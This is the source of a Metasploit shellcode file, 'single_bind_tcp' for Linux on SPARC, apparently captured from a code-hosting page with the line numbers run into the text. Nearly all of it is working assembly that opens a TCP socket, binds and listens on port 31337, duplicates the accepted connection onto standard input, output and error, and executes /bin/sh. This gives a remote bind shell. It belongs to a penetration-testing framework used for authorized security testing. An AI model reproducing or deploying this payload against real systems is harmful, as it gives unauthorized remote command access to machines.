Path: blob/master/external/source/shellcode/linux/sparc/single_bind_tcp.s
19592 views
##1#2# Name: single_bind_tcp3# Platforms: Linux4# Authors: vlad902 <vlad902 [at] gmail.com>5# Version: $Revision: 1652 $6# License:7#8# This file is part of the Metasploit Exploit Framework9# and is subject to the same licenses and copyrights as10# the rest of this package.11#12# Description:13#14# Single bind TCP shell.15#16##1718.globl main1920main:21andn %sp, 7, %sp2223mov 2, %l024mov 1, %o025st %l0, [ %sp - 0x0c ]26st %o0, [ %sp - 0x08 ]27st %g0, [ %sp - 0x04 ]28sub %sp, 0x0c, %o129mov 0xce, %g130ta 0x103132sub %sp, 0x20, %l233mov 0x10, %l334st %o0, [ %sp - 0x0c ]35std %l3, [ %sp - 0x08 ]3637#ifndef NO_NULLS38set 0x00027a68, %l439#else40set 0x27a68fff, %l441srl %l4, 12, %l442#endif43xor %l5, %l5, %l544std %l4, [ %sp - 0x20 ]4546mov 2, %o047ta 0x104849mov 1, %l150st %l1, [ %sp - 0x08 ]51mov 4, %o052ta 0x105354st %g0, [ %sp - 0x08 ]55st %g0, [ %sp - 0x04 ]56mov 5, %o057ta 0x105859st %o0, [ %sp - 0x0c ]60mov 3, %o161dup2_loop:62subcc %o1, 1, %o163mov 0x5a, %g164ta 0x106566bnz dup2_loop67ld [ %sp - 0x0c ], %o06869xor %o3, %o3, %o270set 0x2f62696e, %l071set 0x2f736800, %l172sub %sp, 0x10, %o073sub %sp, 0x08, %o174std %l0, [ %sp - 0x10 ]75st %o0, [ %sp - 0x08 ]76st %g0, [ %sp - 0x04 ]77mov 0x3b, %g178ta 0x08798081